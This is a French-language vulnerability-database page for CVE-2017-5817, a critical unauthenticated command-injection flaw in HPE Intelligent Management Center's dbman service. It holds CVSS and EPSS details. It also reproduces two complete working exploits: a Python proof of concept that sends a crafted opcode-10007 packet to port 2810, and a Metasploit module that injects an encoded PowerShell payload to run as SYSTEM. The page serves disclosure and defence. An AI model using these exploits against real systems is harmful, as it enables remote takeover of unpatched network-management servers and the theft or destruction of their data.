CVE-2017-5817 : Détail

CVE-2017-5817

9.8
/
Critique
A03-Injection
96.63%V3
Network
2018-02-15
22h00 +00:00
2024-09-16
16h43 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

A Remote Code Execution vulnerability in HPE Intelligent Management Center (iMC) PLAT version 7.3 E0504P04 was found.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43195

Date de publication : 2017-11-27 23h00 +00:00
Auteur : Chris Lyne
EDB Vérifié : Yes

#!/opt/local/bin/python2.7 # Exploit Title: HP iMC Plat 7.2 dbman Opcode 10007 Command Injection RCE # Date: 11-28-2017 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: www.hpe.com # Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber= # Version: iMC PLAT v7.2 (E0403) Standard # Tested on: Windows Server 2008 R2 Enterprise 64-bit # CVE : CVE-2017-5817 # See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-341/ # note that this PoC will create a file 'C:\poc.txt' import socket, sys ip = '192.168.1.74' port = 2810 command = "echo PoC 12345 > C:\\poc.txt" # command to run sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) buf = "\x00\x00\x27\x17\x00\x00\x00" buf += chr(109 + 10 + len(command)) buf += "\x30\x81" buf += chr(109 + 7 + len(command)) buf += "\x04\x0c" buf += ip buf += ("\x04\x04\x41\x41\x41\x41\x04" "\x04\x42\x42\x42\x42\x04\x04\x43\x43\x43\x43\x02\x01\x01\x02\x01" "\x03\x04\x06\x4d\x41\x4e\x55\x41\x4c\x04\x04\x44\x44\x44\x44\x04") buf += chr(len(command) + 7) buf += "\x73\x61\x22\x26\x20" buf += command buf += ("\x20\x26\x04\x08\x70\x61\x73\x73\x77\x6f\x72\x64\x04" "\x04\x00\x00\x04\x57\x04\x08\x69\x6e\x73\x74\x61\x6e\x63\x65\x04" "\x04\x45\x45\x45\x45\x04\x04\x46\x46\x46\x46\x04\x04\x47\x47\x47" "\x47\x04\x04\x48\x48\x48\x48\x30\x00\x02\x01\x01") sock.send(buf) sock.close()
Exploit Database EDB-ID : 43492

Date de publication : 2018-01-09 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE', 'Description' => %q{ This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04. The dbman service allows unauthenticated remote users to restore a user-specified database (OpCode 10007), however the database connection username is not sanitized resulting in command injection, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default. This module has been tested successfully on iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN). }, 'License' => MSF_LICENSE, 'Author' => [ 'sztivi', # Discovery 'Chris Lyne', # Python PoC (@lynerc) 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['CVE', '2017-5817'], ['EDB', '43195'], ['ZDI', '17-341'], ['URL', 'https://www.securityfocus.com/bid/98469/info'], ['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us'] ], 'Platform' => 'win', 'Targets' => [['Automatic', {}]], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Privileged' => true, 'DisclosureDate' => 'May 15 2017', 'DefaultTarget' => 0)) register_options [Opt::RPORT(2810)] end def check # empty RestoreDBase packet pkt = [10007].pack('N') connect sock.put pkt res = sock.get_once disconnect # Expected reply: # "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log" return CheckCode::Detected if res =~ /dbman/i CheckCode::Safe end def dbman_msg(database_user) data = '' db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}" database_type = "\x03" # MySQL restore_type = 'MANUAL' database_password = rand_text_alpha rand(1..5) database_port = rand_text_alpha rand(1..5) database_instance = rand_text_alpha rand(1..5) junk = rand_text_alpha rand(1..5) # database ip data << "\x04" data << [db_ip.length].pack('C') data << db_ip # ??? data << "\x04" data << [junk.length].pack('C') data << junk # ??? data << "\x04" data << [junk.length].pack('C') data << junk # junk data << "\x04" data << [junk.length].pack('C') data << junk # ??? data << "\x02\x01\x01" # database type data << "\x02" data << [database_type.length].pack('C') data << database_type # restore type data << "\x04" data << [restore_type.length].pack('C') data << restore_type # ??? data << "\x04" data << [junk.length].pack('C') data << junk # database user data << "\x04" data << "\x82" data << [database_user.length].pack('n') data << database_user # database password data << "\x04" data << [database_password.length].pack('C') data << database_password # database port data << "\x04" data << [database_port.length].pack('C') data << database_port # database instance data << "\x04" data << [database_instance.length].pack('C') data << database_instance # ??? data << "\x04" data << [junk.length].pack('C') data << junk # ??? data << "\x04" data << [junk.length].pack('C') data << junk # ??? data << "\x04" data << [junk.length].pack('C') data << junk # ??? data << "\x04" data << [junk.length].pack('C') data << junk # ??? data << "\x30\x00" data << "\x02\x01\x01" data end def dbman_restoredbase_pkt(database_user) data = dbman_msg database_user # opcode 10007 (RestoreDBase) pkt = [10007].pack('N') # packet length pkt << "\x00\x00" pkt << [data.length + 4].pack('n') # packet data length pkt << "\x30\x82" pkt << [data.length].pack('n') # packet data pkt << data pkt end def execute_command(cmd, _opts = {}) connect sock.put dbman_restoredbase_pkt "\"& #{cmd} &" disconnect end def exploit command = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) if command.length > 8000 fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command" end print_status "Sending payload (#{command.length} bytes)..." execute_command command end end

Products Mentioned

Configuraton 0

Hp>>Intelligent_management_center >> Version To (excluding) 7.3

Hp>>Intelligent_management_center >> Version 7.3

Hp>>Intelligent_management_center >> Version 7.3

Hp>>Intelligent_management_center >> Version 7.3

Références

https://www.exploit-db.com/exploits/43492/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038478
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43195/
Tags : exploit, x_refsource_EXPLOIT-DB